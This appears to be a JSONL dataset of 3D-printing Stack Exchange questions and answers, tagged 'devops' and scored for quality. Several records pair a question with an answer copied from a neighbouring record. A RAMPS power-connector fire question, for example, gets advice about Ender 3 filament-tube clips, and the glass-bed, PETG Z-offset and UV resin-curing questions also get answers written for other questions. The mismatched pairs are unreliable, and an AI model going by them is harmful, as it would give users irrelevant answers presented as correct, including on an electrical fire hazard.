"devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.368505"}
{"id": "hf_ae9041aa59ae", "question": "<p>I work with Fusion360 for designing lots of things. Recently I learned how to work with parameters that I can easily modify all at once, allowing to pretty much make easily customizable pieces.</p>\n\n<p>Now, Thingiverse wants customizer pieces in the shape of <code>.SCAD</code> files, and some people just can't work with Fusion360 (<code>.F3D</code>) or proper <code>.STEP</code> files that can be imported by most CAD programs.</p>\n\n<p>I have no experience with OpenSCAD. Can I import my <code>.STEP</code> into openSCAD, retain my parameters and export it as a <code>.SCAD</code>, and if yes, how?</p>\n", "question_body": "", "answer": "No, you cannot import STEP nor Fusion360 files in OpenSCAD.\nOpenSCAD\ncurrently supports\n:\n3D formats\nSTL (both ASCII and Binary)\nOFF\nAMF [Note: Requires version 2019.05]\n3MF [Note: Requires version 2019.05]\n2D formats\nDXF\nSVG [Note: Requires version 2019.05]\nOther\nCSG can be imported using\n```\ninclude<>\n```\nor loaded like an SCAD file, PNG can be imported using\n```\nsurface()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.392688"}
{"id": "hf_cfae2cba9d1f", "question": "<p>I'm new to 3D Printing and recently purchased an Ender 3D PRO I'm having an issue with the filament guide tube getting pushed out of the nozzle on the feeding mechanism.  The assembly instructions don't include a whole lot of detail about installing this guide tube but there are blue clips that were included along with the spare nozzle.  There are no instructions on where to use these blue clips and I have a hunch this might be the problem. </p>\n", "question_body": "", "answer": "The blue clips stick in the connector on the extruder end of the feed tube. They are to keep it from opening as the printer extrudes and retracts filament.\nTo install them, push them in between the white part of the fitting on the feed tube (not the hot end). You should only need one or two, and they are all of varying thicknesses. If you're not familiar with these fittings, I found a\nYouTube video\non how to use them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.465425"}
{"id": "hf_2fd37c5ebf09", "question": "<p>Recently my RAMPS power connector caught fire while heating the heated bed. I suspect this was a defect caused by the connector, and de-soldered/removed it as best I could. I'm  not an electrical engineer, so I'm looking for advice on whether It is possible to re-solder the power connectors directly onto the board, or I'm just risking another fire. Here are pictures of the top and bottom.</p>\n<p><img src=\"https://i.stack.imgur.com/BFnKQ.jpg\" alt=\"Top side of PCB and underside of power screw terminals, showing burning\" title=\"Top side of PCB and underside of power screw terminals, showing burning\" /></p>\n<p><img src=\"https://i.stack.imgur.com/oWCMH.jpg\" alt=\"Underside of PCB\" title=\"Underside of PCB\" /></p>\n", "question_body": "", "answer": "The blue clips stick in the connector on the extruder end of the feed tube. They are to keep it from opening as the printer extrudes and retracts filament.\nTo install them, push them in between the white part of the fitting on the feed tube (not the hot end). You should only need one or two, and they are all of varying thicknesses. If you're not familiar with these fittings, I found a\nYouTube video\non how to use them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.489722"}
{"id": "hf_1ae04dd03d36", "question": "<p>Would it be posible to design something that is as flexible and that can be printed with PLA that would work as a cloth? I did some research and found that there was a company named Electroloom but that didn't make it. I'm not looking for anything fine, just something that would work for wiping</p>\n", "question_body": "", "answer": "Maybe you would be better off with TPU or some other type of flexible material...\nI have been able to print PLA and have it flex quite a bit, but that was an ~0.2mm single layer print, I guess maybe up to 0.3-0.4mm should still be a little bit flexible, but not much. Also since you want it to wipe things, maybe you should look if TPU even has all the properties required for that as Carl mentioned in the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.514566"}
{"id": "hf_aed1cca49339", "question": "<p>My printer is calibrated for a certain clearance from the heated bed, which is chosen based on PLA.</p>\n\n<p>I would like to try to increase it for the first layer for PETG, so that adhesion is reduced. The printer has M5 screws with 4000 steps/mm, so the resolution clearly allows that. </p>\n\n<p>I don't want to modify the printer, I would like a G-Code or another option that I can apply in Prusa slicer in association with the specific filament when desired. I don't want to change the flow rate of the first layer, only the \"zero\" distance.</p>\n\n<p>How can I do that?</p>\n", "question_body": "", "answer": "Maybe you would be better off with TPU or some other type of flexible material...\nI have been able to print PLA and have it flex quite a bit, but that was an ~0.2mm single layer print, I guess maybe up to 0.3-0.4mm should still be a little bit flexible, but not much. Also since you want it to wipe things, maybe you should look if TPU even has all the properties required for that as Carl mentioned in the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.539176"}
{"id": "hf_ab9cb6faef97", "question": "<p>Specifically using stainless steel nozzles, but I guess it's worth knowing about brass too. Is there any reason to be concerned about dimensional accuracy of the nozzle or anything like that as a result of repeated heating with a butane torch? </p>\n", "question_body": "", "answer": "If you carbonize the filament or other particles that are clogging the nozzle, then you will never get them clean. In my experience, it's not worth cleaning the nozzle with anything other than cleaning filament. If that doesn't work then change the nozzle. Heating the metal nozzle with a torch will change the temper of the material. I used to try cleaning with a soldering iron; which was to no avail.\nPurchase a dozen brass nozzles and save your self the headache. Either that or a good quality set of stainless steel ones. They are easier to clean with the cleaning filament and aren't ablated by the filament as quickly, allowing for better dimensional accuracy over multiple prints.\nhttps://www.amazon.com/eSUN-CLEANING-Filament-Printers-Cleaning/dp/B00MVIYNFW/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.563457"}
{"id": "hf_fba8ecdf862d", "question": "<p>I'm having some issues with my Prusa i3 prints. I'm trying to print the default beer opener print that came with the Prusa's memory card but the infill will break causing clogging and now allowing the print to finish. I've attached a picture of one of the failed prints.</p>\n\n<p><a href=\"https://i.stack.imgur.com/JNPn4.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JNPn4.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>I've checked Prusa's website and tried tightening the extruder gears and made sure the gears are clean. I'm using the PLA sent with the printer (1.75&nbsp;mm) and with a default G-code file so I'm fairly sure it is a hardware issue, but I'm not sure what the issue could be. </p>\n\n<p><a href=\"https://blog.prusaprinters.org/7-problems-affecting-quality-of-3d-prints/\" rel=\"nofollow noreferrer\">Here is the link</a> that I've used to help me troubleshoot.</p>\n", "question_body": "", "answer": "If you carbonize the filament or other particles that are clogging the nozzle, then you will never get them clean. In my experience, it's not worth cleaning the nozzle with anything other than cleaning filament. If that doesn't work then change the nozzle. Heating the metal nozzle with a torch will change the temper of the material. I used to try cleaning with a soldering iron; which was to no avail.\nPurchase a dozen brass nozzles and save your self the headache. Either that or a good quality set of stainless steel ones. They are easier to clean with the cleaning filament and aren't ablated by the filament as quickly, allowing for better dimensional accuracy over multiple prints.\nhttps://www.amazon.com/eSUN-CLEANING-Filament-Printers-Cleaning/dp/B00MVIYNFW/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.591501"}
{"id": "hf_9805112b8b8b", "question": "<p>PLA has a heat capacity of <a href=\"https://www.sd3d.com/wp-content/uploads/2017/06/MaterialTDS-PLA_01.pdf\" rel=\"nofollow noreferrer\">1.8-2.1 J/g-K</a>, while <a href=\"http://www.matweb.com/search/datasheet_print.aspx?matguid=4de1c85bb946406a86c52b688e3810d0\" rel=\"nofollow noreferrer\">PETG 1.1-1.3 J/g-K</a>. This means that each gram of PLA needs more energy to heat up. I assume no &quot;melting latent energy&quot;, since we talk about plastics.</p>\n<p>The density is about the same.</p>\n<p>Still, printing speed for PETG is said to be kept at max at 60 mm/s, while PLA can easily go up to 100 mm/s.</p>\n<p>Why is PETG supposed to be printed slower than PLA?</p>\n<p>Edit: a link to a more recent question may be of interest: <a href=\"https://3dprinting.stackexchange.com/questions/10173/power-consumption-of-filament-extrusion/10175?noredirect=1#comment30444_10175\">Power consumption of filament extrusion</a></p>\n", "question_body": "", "answer": "The density of PLA is around 1.25 g/cm³ and the density of PETG is around 1.38 g/cm³. When you're talking about the amount of energy needed to melt a particular\nvolume\n(which is what your extrusion units are) rather than mass, you need to scale the heat capacities (with units of\n$\\frac{\\mathrm J}{\\mathrm g\\cdot \\mathrm K}$\n) by the density to get\n$\\frac{\\mathrm J}{\\mathrm{cm}^3\\cdot \\mathrm K}$\n. This brings their volumetric heat capacities somewhat closer: 2.25-2.63 vs 1.52-1.79 (about 47 % higher for PLA rather than your figure of about 62 %), but with PLA still higher.\nYou also have to account for heat loss to the environment. PLA is typically printed around 200 °C or 210 °C at most; PETG in my experience requires 250 °C to reach low enough viscosity to be printable at any speed. Assuming an ambient 20 °C, the rate of heat loss should be something like 25 % higher for PETG. So the hotend has that much additional energy needed to begin with.\nBeside that, PLA is printed at temperatures where it's still extrudable and able to bond even if the temperature drops significantly below the nominal nozzle temperature (down to 180 °C, maybe even slightly lower), whereas PETG has trouble with increased viscosity and poor bonding right away if temperature drops.\nGoing broader still, PETG seems to need to keep its heat longer after being extruded in order for layers to bond well. (As evidenced by the need to lower fan or turn it off completely.) A slow-moving nozzle both provides heat (from the proximity of the nozzle itself) to slow the cooling, and reduces air flow across the part (by not causing as much air flow itself just by moving).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.651679"}
{"id": "hf_e8d19bf900b2", "question": "<p>I have two options - to buy either the Ender 3 or the Mega Zero. I'm heading towards Ender 3 because the Mega Zero doesn't have a heated bed. </p>\n\n<p>My question is, how is a printer without a heated bed (the Mega Zero) a better option than one with a heated bed (the Ender 3)?</p>\n\n<p>Why would I even consider buying a printer without a heated bed when the Ender 3 can do the same things <strong>and</strong> has a heated bed? I want be able to print not only PLA but other materials as well. Doesn't the Mega Zero limit you to using only PLA?</p>\n", "question_body": "", "answer": "Lack of a heated bed does not necessarily limit you to using PLA. I would say (among those I've used) the material that's least sensitive to whether you have a heated bed is probably TPU. Depending on your model, it can even be hard to print PLA without a heated bed, unless perhaps you're willing to use a brim or raft. Printing ABS or ASA without a heated bed is almost certainly out of the question, and PETG\nmight\nbe possible, but I'd expect it to be difficult.\nMechanically, the Anycubic Mega Zero looks very similar to the Ender 3. The claimed bed size on the Mega Zero is slightly smaller (220 mm vs 235 mm) but they might just be counting the usable part.\nThe only possible objective advantage to the Mega Zero I could find is the double gear extruder, which may help with printing faster or flexible filaments.\nPresumably you could add a heating element to the bed if you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.688284"}
{"id": "hf_c12de09a21a2", "question": "<p>The heater cartridge on my CR10 V2 broke so I ordered a new one(12V). After replacing it the new one heats of very quickly past the target temperature and the slowly decreases to the target. Once it hits the target temp it goes up and down by 10&nbsp;&deg;C or so during prints. During the prints there is under extrusion. I read that if the filament gets hot too high up the hotted it could cause clogs. I replaced the nozzle as well and cleaned out everything.</p>\n\n<p>Some things that I think may have an effect:</p>\n\n<ol>\n<li>Could the new heater cartridge not be compatible?</li>\n<li>does a poor solder job with heater cartridge wires have an effect</li>\n<li>It's possible I messed up the thermistor when replacing heater cartridge, could that explain whats happening?</li>\n<li>Is there anything else in the hot end assembly such as fans that would cause this?</li>\n</ol>\n", "question_body": "", "answer": "This sounds as if you have bought an incorrect heater element, e.g. one for 12 V instead of 24 V. The CR-10 uses 24 V. The 12 V cartridge has a lower resistance, so when powered by 24 V, the current is much higher and therefore also the heating power (\n$ {(\\frac{24}{12})}^2 = 4 $\ntimes higher). For details on the calculation, the\nthis answer\non question:\n\"PID autotune fails 'Temp too high' with 12 V heater cartridge but works with 24 V?\"\n. This makes the hotend heat up very fast resulting in a large overshoot. You need to replace the cartridge for one for 24 V.\nNote that I recently experienced exactly the same problem by mixing up the cartridges see\nthis answer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.713471"}
{"id": "hf_b4f0831c4978", "question": "<p>Does a filament exist that can resist ozone (like certain silicone tubing's can). Most glass bottles come with tin or plastic screw hard tops and I would like to replace the screw caps with something that is more resistant to ozone.</p>\n\n<p>The reason for this is I make my own homemade ozonated oil in glass bottles and I would like to print out different hard screw top caps for some of the bottles.</p>\n", "question_body": "", "answer": "If making your own caps ends up being the best solution, TPU (thermoplastic polyurethane) is probably your best bet. I don't have specific information on printed TPU filament and ozone, but TPU is widely regarded as one of the most chemical-resistant materials you can easily print with, and\nthis page by Ozone Solutions\nrates polyurethane (no mention of specific types) A/Excellent described as:\nOzone has\nno effect\non these materials. They will last indefinitely.\nBeing at least slightly flexible, TPU will also yield a good seal without any additional gasket. You should probably choose an unpigmented \"natural/clear\" TPU filament in case the pigments do react.\nIt might (probably would) also work to coat an existing cap with polyurethane. I'm not sure how you'd best get it to adhere, but lightly sanding the plastic then using a spray in multiple coats is what I'd try first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.750894"}
{"id": "hf_944546ea06b3", "question": "<p>I've found many Youtube videos of makers upgrading to BLTouch sensor. </p>\n\n<p>I have a Creality CR-10S Pro, so far bed leveling hasn't been an issue (after some days of trial and error). </p>\n\n<p>My question is what are the problems/issues users need to face in order to need (or justify) an upgrade?</p>\n", "question_body": "", "answer": "I don't know your printer but I don't have BLtouch, and I have to set the height every time because the bed expands with heat.\nIf you print at variable bed temperature (PLA, ABS, PETg, nylon require different values) then that sensor helps a lot.\nBL touch can also speed up bed calibration: you scan the bed, see the values to be corrected, adjust the bed without having to guess (given the thread pitch and required correction).\nAlso, if you print only in the center it's easy but if you print fully using the size of the bed, I doubt you can get very flat bed. The BLtouch helps for that too.\nAlso, there are clones like 3D touch which were tested and work equally well. Depending on your budget, they may be an interesting alternative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.775290"}
{"id": "hf_5735b976e25f", "question": "<ul>\n<li>I am curious, what is the purpose of printing a single-height outline around the objects to be printed?</li>\n<li>Also, how would it affect the outline if the object to be printed extends to (very near) the very edge of the print area?</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/vEr8Z.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/vEr8Z.png\" alt=\"finished print on print bed, with outlines annotated\"></a></p>\n\n<p>Update, I received a hint that an existing question has the answer; that link was not really to my satisfaction -- but it did link to another one that did: <a href=\"https://3dprinting.stackexchange.com/questions/20/what-are-main-differences-between-rafts-skirts-and-brims\">What are main differences between rafts, skirts and brims?</a></p>\n", "question_body": "", "answer": "My understand is that's is basically a purging extrusion, so that you get flow through the extruder before you start printing the object, as filament that's been inside the hotend during warm-up might have been \"overcooked\" by spending too much time in the hotend at temperature. It also helps stabilise the PID loop controlling the extruder temperature by allowing the PID loop to stabilise the temperature of the hotend as it's got filament flowing through it compared to it being idle.\nIt also shows the user where it intends to start printing, which is a useful check if something went wrong with Gcode generation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.800097"}
{"id": "hf_ef3848d4e0ef", "question": "<p>Are there any defacto standards for interfacing between common 3D printers and custom extruders or other tooling? I was thinking how it would be good to have switchable nozzle widths mounted on the same heat block and switched between using a solenoid so you could have say a 0.25&nbsp;mm for surface layer and details, then swap to 0.6&nbsp;mm for the infill.</p>\n\n<p>What would be the path of least resistance so it could be accessed in generic firmware? </p>\n\n<p>The design I was thinking would be similar to a generic aluminium heat block with two nozzles screwed in side by side with there inputs meeting in an inverted Y junction with its center drilled out and replaced by a rod with appropriate channeling to divert the already molten plastic between nozzles. Turning the rod would be done from a solenoid mounted somewhere behind the heat-break.with a clamping mechanism.</p>\n", "question_body": "", "answer": "Generally: nozzles are not changed, the whole tool head is\nWhile \"tool change\" is easy to implement in a G-code and could be easily adapted in the firmware, there are several practical issues to hot-swapping nozzles without swapping the whole hotend assembly:\nThe hotend is a fluid-dynamic system that needs to be sealed to operate under pressure and temperature.\nThe seal of the nozzle-heatbreak system is in most systems a metal-on-metal pressure seal\nRubber seals are not an option in a system that runs over 180°C\nMoving metal seals are very hard to make and run smoothly.\nYour idea: especially\nNo\nThere is literally no way to design a turning Y-switch that fits the following bills:\nsealed\nfilament path ~2 mm\nscrew-in diameter for heatbreak and nozzles M6\ncreates enough free space between the lower outlets to mount 2 M6 nozzles with enough space to hold a wrench (=15mm diameter of centers)\nfit into the form factor of a conventional heater block\nYour idea would need to be considerably larger, need a stronger heater element and creates an impossibly to clean area around the turning junction peg. Atop that, you would trade 1 area of possible leak (between heatbreak and nozzle) for 3 areas of possible leaks (nozzle-block and heatbreak block) and one area of guaranteed leak (the turning peg).\nHow is it done then?!\nCurrently, there are the following ways to swap between different of nozzles mid-print that have been proven to work somewhat reliably:\nfixed independent print heads with independent carriages.\nfixed independent nozzles and heaters on one carriage.\nswapping print heads on one carriage.\nThe first design is used for example in the Leapfrog Bolt, combined heads are for example the\ne3D Chimera, Cyclops and Kraken\n. e3D also designed on a reliable printhead - or rather tool  - swapping system starting about 2018 and did release it to the public in\nlate 2019\n.\nType 1 needs you to level the printheads well and to the same height in the easy case, but with the right setup of firmware, a Z-offset of the two tools can be included and compensated for - possibly even automatically. Type 3 does usually demands you to include very accurate offsets of the used tools or includes a way to measure the offset during operation, though I lack insight into how e3D solves it. Both setups can mitigate oozing of the unused nozzles out of the printing volume.\nType 2 not only demands hyper exact leveling, but it\nalso\nis very prone to create some sort of oozing of the unused nozzle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.827935"}
{"id": "hf_5e0befb9b103", "question": "<p>I recently purchased a BIGTREETECH SKR mini E3 V1.2 and need to adjust some of the settings in configuration h to accommodate for my custom built 3d printer. In the past I've used the RAMPS 1.4 board and adjusted the firmware in the arduino IDE. What is the best way/recommended way to do this for the mini E3 V1.2.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Basics\nFirmware can be distributed in 2 ways:\nAs a compiled file (for example as .hex).\nAs an uncompiled repository (as in a preconfigured marlin distribution) that needs to be compiled at the users' side.\ncompiled file\nCompiled files\ncan't\nbe altered easily. The only way to change settings after installation is to send the correct commands via a\nconsole\nto alter the settings in the SRAM then save the new settings into the EEPROM via\n```\nM500\n```\nfrom the\nM50X family of commands\n- and hoping that EEPROM was activated in the firmware to begin with.\nuncompiled distribution\nTo alter an uncompiled Repository, you can follow the basic path in\nUpdating Marlin Firmware - Step by Step Guide", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.889303"}
{"id": "hf_dda775a55138", "question": "<p>I'm new to printing resin miniatures for Dungeons &amp; Dragons and most of my prints are successful, i.e. one or more miniatures print as expected.</p>\n\n<p>However when I have multiple minis on the build plate the one in the middle works okay but the ones on the edges don't adhere to the build plate.</p>\n\n<p>Should I limit myself to one or two minis in the center of the build plate? Or should it work and I just need to get my settings correct?</p>\n\n<p>Note I'm using a Beam 3D Prism printer.</p>\n", "question_body": "", "answer": "You can definitely print full build plates of minis. You just need to find correct settings. If nothing sticks to the build plate - then you should increase bottom exposure time. Also check if the build plate is even. You can also sand your build plate a little bit to make adhesion better. Additionally, print with lower print speeds to increase success.\nFinally, if your FEP is worn out and scratched or hazy, you should replace it.\nI own a company producing 3D printing resins. We also write extensive printing guides from time to time. You can read more on finding correct settings in this\narticle\nof mine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.913801"}
{"id": "hf_3751a6019566", "question": "<p>I’m new to 3D printing and have the Creality Ender 3 Pro. I work a lot with clay for earrings and wanted to design my own cutters with a sharp edge to create clean shapes.</p>\n<p>I use PLA and have been using the speed and nozzle (0.4 mm) that was already set when I bought it. It’s been creating fine edges but I’d like to make it a lot sharper. Using the instructions from videos I saw online, I created the following &quot;U&quot; shape (extrusion of .5 mm Is the “cutting edge”. I started getting some weird bubbles too and am not sure what has created that either (see pic).</p>\n<p>I use Fusion 360 to make the cookie/clay cutter and then send it to Ultimaker Cura to slice.</p>\n<p>Any help with how to make it sharper and more clean cuts would be great!</p>\n<p><a href=\"https://i.stack.imgur.com/0uMjD.jpg\" rel=\"nofollow noreferrer\" title=\"Cookie/clay cutter form\"><img src=\"https://i.stack.imgur.com/0uMjD.jpg\" alt=\"Cookie/clay cutter form\" title=\"Cookie/clay cutter form\" /></a></p>\n", "question_body": "", "answer": "An extrusion width of 0.5 mm is too wide for making a sharp outline, I do use this sometimes for extrusion width for the infill.\nNote that you can sand plastic (e.g. PLA or ABS) to sharpen the edge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:10.973115"}
{"id": "hf_d5cce33f4891", "question": "<p>I have an Ender 3, I got a new glass bed, the bed comes with glue on the back.</p>\n\n<p>Should I stick the glass bed to the aluminium base? or just use it with the clips?\nI saw other people just use the clips, but my glass seems to have a sticky back...</p>\n\n<p><a href=\"https://i.stack.imgur.com/iq7WD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iq7WD.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Yes, the Volcano or the Super Volcano allow for larger flow rate (typically when using larger nozzles), that is where they were designed for. Just the nozzle will not help you, you need this larger nozzle shaft to be inside a Volcano heater block, else you cannot transfer the heat.\nAccording to measurements from Metaform, the volumetric flow of a Volcano hotend is larger than the regular E3D V6 hotend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.008052"}
{"id": "hf_2a048146515b", "question": "<p>My printer is ignoring the &quot;Z offset&quot; setting in Cura and the &quot;Bed Z&quot; stored in the printer LCD settings? It has been working before but after a firmware update of my printer, it doesn't work. Even after flashing the previous firmware back &quot;Bed Z&quot; changes no longer affect anything. No matter if I change &quot;Bed Z&quot; during prints or if I use the &quot;Z offset&quot; option in Cura, the nozzle still prints at the same height.</p>\n", "question_body": "", "answer": "I have the same problem. You need to check your G-code to detect where's the problem.\nTry comparing the G-code file with different values of the Z offset.\nIn my case it looks like this:\nNo offset\n```\n```\n;LAYER_COUNT:107\n;LAYER:0\nM106 S255\nG1 F300 Z0.84\nG0 F6000 X124.645 Y78.208 Z0.84\n;TYPE:SKIRT\nG1 F300 Z0.44\nG1 F1500 E0\n```\n```\nWith offset (comments made by Cura)\n```\n```\n;LAYER_COUNT:107\n;LAYER:0\nM106 S255\nG1 F300 Z2.06 ;adjusted by z offset\nG92 Z0.84 ;consider this the original z before offset\nG0 F6000 X119.093 Y42.498 Z0.84\n;TYPE:SKIRT\nG1 F300 Z0.44\n```\n```\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.079898"}
{"id": "hf_6cb6a4901b17", "question": "<p>I have this CTC i3 printer; when I print square test prints, as it moves along the Y-axis back to zero (front). It extrudes lines but very thin or none at all.</p>\n\n<p>But opposite direction along the Y axis is 100&nbsp;% </p>\n\n<p><img src=\"https://i.stack.imgur.com/BChHj.jpg\" alt=\"enter image description here\"></p>\n\n<p><img src=\"https://i.stack.imgur.com/PvPDT.jpg\" alt=\"enter image description here\"></p>\n", "question_body": "", "answer": "Clearly you're having an extrusion problem. Extrusion problems usually come either from a clogged nozzle (as @Adam S. said) or from the extruder it self. To determine where the problem is located I would first do a flow rate test using\nthis\n. When doing this test you can determine if the extruder is grinding the filament or if it's not grabbing it too much. After the calibration of the flowrate you can be certain that the printer is (by .gcode) pushing the correct amount of filament. If the problem persist I would first do an unclogging (since it's cheaper than the following option) using something like\nthis\n.\nIf both previous options do not solve the problem, I would highly recommend you to by a mk-8 like metal extruder. After a while, the plastic one that comes with the printer loses force and you'll lose steps. Personally, I had a similar problem where the first layer was printed in a droplet pattern and was solved by changing the extruder to a metal one.\nTry these options and if the problem persist you could upload some pictures of the first layer or a video. Other possibilities I think of are that the filament is having trouble passing through the Bowden tube or maybe you'll have to reasemble the hotend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.138804"}
{"id": "hf_990bc486282a", "question": "<p>When I have overhangs in my model, Cura colors them red. However, I noticed if I make layer thickness thinner, the red area is reduced or disappears. </p>\n\n<p>This could mean that thinner layer thickness is better for overhang, but it could also mean that a larger ratio of line width to layer thickness is better. It makes sense that if line width is 4X the layer thickness (such as 0.15 layers with 0.6 line width), overhang performance should be better than if line width is only 2X (such as 0.3 layers with the same 0.6 line width.</p>\n\n<p>Is there a model that explains the optimum ratio of line thickness to layer height? Is only the ratio important, or is layer height also important by itself?</p>\n", "question_body": "", "answer": "In terms of Cura's model for showing overhangs, I'm nearly sure it's just the ratio - rise over run, or rather run over rise. And indeed that's what makes sense mathematically:\nAt least some portion of the wall extrusion in layer N+1 needs to sit on top of the corresponding wall extrusion in layer N. For a given 3D surface slope, the \"run\" - the distance the cross-section moves from one layer to the next, which needs to be bounded by some fraction of the line width - varies proportionally to the \"rise\" - the layer height.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.174596"}
{"id": "hf_1f123bfa9376", "question": "<p>From what I understand, UV curing of resin prints works by starting a chemical reaction that hardens the resin permanently.</p>\n\n<p>Also, a curing step after print is needed to speed up the print and also to reduce the curing during print, which would cure resin beyond the current layer.</p>\n\n<p>However, what is the transmissivity of UV light in partially cured prints? If I print a more massive object, or if I use an opaque resin, how deep will the object harden properly? Absorption is always exponential, meaning that it decreases quickly with depth.</p>\n\n<p>Depending on the resin, how thick prints can be effectively cured? This information is not provided with the resin, which I actually would expect from reputable manufacturers.</p>\n", "question_body": "", "answer": "In terms of Cura's model for showing overhangs, I'm nearly sure it's just the ratio - rise over run, or rather run over rise. And indeed that's what makes sense mathematically:\nAt least some portion of the wall extrusion in layer N+1 needs to sit on top of the corresponding wall extrusion in layer N. For a given 3D surface slope, the \"run\" - the distance the cross-section moves from one layer to the next, which needs to be bounded by some fraction of the line width - varies proportionally to the \"rise\" - the layer height.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.208016"}
